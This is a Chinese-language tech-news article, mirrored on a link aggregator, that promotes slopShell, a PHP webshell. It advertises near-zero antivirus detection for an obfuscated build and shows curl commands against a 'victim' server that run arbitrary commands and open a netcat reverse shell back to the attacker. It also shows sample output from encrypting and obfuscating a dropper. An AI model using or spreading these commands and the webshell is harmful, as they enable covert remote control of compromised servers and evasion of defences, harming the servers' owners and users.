1

slopShell:你唯一需要的PHP Webshell

 3 years ago
source link: https://www.freebuf.com/articles/web/276074.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
slopShell:你唯一需要的PHP Webshell
Alpha_h4ck 2021-06-02 22:23:01 112030

1622643625_60b793a941974318ec9e7.jpg!small

关于slopShell

slopShell是一款功能强大的PHP Webshell,有了它,你就不需要再用到其他Webshell了。

为了让这个shell正常工作,广大研究人员只需要做两件事情,一是能够将php文件发送给目标用户,二是能够向这个Webshell发送HTTP请求

1622643647_60b793bf964ecd0e82354.png!small

工具演示视频

视频地址:【点我观看

当前VirusTotal检测率:2/59

1622643660_60b793ccb8aeca8d6054f.png!small

当前VirusTotal检测率(混淆版本):0/59

1622643669_60b793d522c0f9b031a22.png!small

首先,广大研究人员需要运行一台由自己控制的pgsql服务器,然后根据自己的操作系统类型选择对应的安装命令:

Debian

apt install -y postgresql php php-pear && python -m pip install proxybroker --user

RHEL系统

dnf -y -b install postgresql-server postgresql php php-pear && python -m pip install proxybroker --user

一旦这些设置正确并且可以确认它们正在运行,我建议广大研究人员运行命令“pg_ctl”来创建数据库,并实现数据库的初始化和启动,以此确保所有数据库查询都可以正常工作。

首先,您需要选择一个有效的User-Agent来使用,你可以把它看成是第一层保护,以防您的webshell被除您之外的任何人意外地发现。我这里选择的是“sp/1.1”,因为它是一个非典型的User-Agent。如果设置不当的话,可能会导致渗透测试过程中出现问题,或者导致脚本和访问请求被屏蔽。对于Windows版本的话,我没有添加过多内容,因为本人不太喜欢Windows开发。

下面给出的是如何将此webshell与curl一起使用的示例:

curl https://victim/slop.php?qs=cqP -H "User-Agent: sp/1.1" -v

或者,执行下列自定义命令:

curl https://victim/slop.php --data "commander=id" -H "User-Agent: sp/1.1" -v

或者,可以尝试跟你自己的设备建立一个反向Shell:

curl https://victim/slop.php --data "rcom=1&mthd=nc&rhost=&rport=&shell=sh" -H "User-Agent: sp/1.1" -v

工具使用样例

在浏览器中,在不使用正常User-Agent字符串的情况下发送请求(第一层认证):

1622643702_60b793f60965f030ee4c6.jpeg!small

在命令行终端窗口中,使用curl命令以及-vH "User-Agent: sp1.1"选项执行:

1622643707_60b793fb0f8e4e919f8e4.jpeg!small

经过混淆处理后的脚本示例:

1622643712_60b79400cf22c3cb93199.png!small

生成混淆后的脚本:

1622643718_60b794065a3dbd2076f47.png!small

当加密程序运行完之后,Dropper脚本将会被加密,并且经过高度混淆处理,样本输出如下:

Base64 decoded: also a test 123

Re-Encoded: YWxzbyBhIHRlc3QgMTIz

Key: 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e

Key Length: 96

Encryption Result:

Array

(

    [original] => also a test 123

    [key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e

    [encrypted] => meIHs/y6_U7U~7(M

    [base64_Encoded] => bWVJSAAdcw4veTZfVQU3VX43KE0=

)

Decrypt Test:

Array

(

    [key] => 4212bd1ff1d366f23ca77021706a9a29cb824b45f82ae312bcf220de68c76760289f1d5550aa341002f1cfa9831e871e

    [encrypted] => meIHs/y6_U7U~7(M

    [decrypted] => YWxzbyBhIHRlc3QgMTIz

    [base64_decoded] => also a test 123

    [original] => also a test 123

)

slopShell:GitHub传送门

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM

# webshell # php安全 # 系统安全

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK